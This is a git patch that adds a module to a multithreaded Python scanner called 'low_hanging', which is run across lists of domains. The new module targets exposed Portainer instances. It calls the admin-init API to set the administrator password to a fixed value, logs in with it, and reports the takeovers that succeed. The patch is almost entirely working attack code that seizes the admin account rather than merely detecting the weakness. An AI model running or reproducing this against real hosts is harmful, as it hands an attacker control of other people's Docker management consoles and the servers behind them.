From e2ebe80a3bb8f7c7e02c73c48e8caaeb847f18c9 Mon Sep 17 00:00:00 2001 From: Jan Masarik Date: Sat, 19 Jan 2019 00:32:45 +0100 Subject: [PATCH] Add portainer module --- low_hanging.py | 4 ++-- low_hanging/modules/__init__.py | 3 ++- low_hanging/modules/portainer_admin.py | 22 ++++++++++++++++++++++ 3 files changed, 26 insertions(+), 3 deletions(-) create mode 100644 low_hanging/modules/portainer_admin.py diff --git a/low_hanging.py b/low_hanging.py index 41191b2..a1c861a 100644 --- a/low_hanging.py +++ b/low_hanging.py @@ -8,13 +8,13 @@ from requests_html import HTMLSession from tqdm import tqdm -from low_hanging.modules import DjangoDebug, PhpInfo +from low_hanging.modules import DjangoDebug, PhpInfo, PortainerAdmin log = logging.getLogger() def gather(domains, threads, timeout=5): - modules = [DjangoDebug, PhpInfo] + modules = [DjangoDebug, PhpInfo, PortainerAdmin] session = HTMLSession() session.timeout = timeout results = defaultdict(list) diff --git a/low_hanging/modules/__init__.py b/low_hanging/modules/__init__.py index 9082b43..e057afd 100644 --- a/low_hanging/modules/__init__.py +++ b/low_hanging/modules/__init__.py @@ -1,2 +1,3 @@ from low_hanging.modules.django import DjangoDebug -from low_hanging.modules.phpinfo import PhpInfo \ No newline at end of file +from low_hanging.modules.phpinfo import PhpInfo +from low_hanging.modules.portainer_admin import PortainerAdmin diff --git a/low_hanging/modules/portainer_admin.py b/low_hanging/modules/portainer_admin.py new file mode 100644 index 0000000..f8eff73 --- /dev/null +++ b/low_hanging/modules/portainer_admin.py @@ -0,0 +1,22 @@ +from urllib.parse import urljoin +from low_hanging.base_worker import BaseWorker + + +class PortainerAdmin(BaseWorker): + name = "portainer_admin_reset" + references = ["https://github.com/portainer/portainer/issues/493"] + def run(self): + r = self.session.post( + urljoin(self.domain, "/api/users/admin/init"), + json={"username": "admin", "password":"definitely_valid"} + ) + + if r.status_code in (404, 409): + return + + r = self.session.post( + urljoin(self.domain, "/api/auth"), + json={"username": "admin", "password":"definitely_valid"} + ) + if r.status_code < 400: + return r.url \ No newline at end of file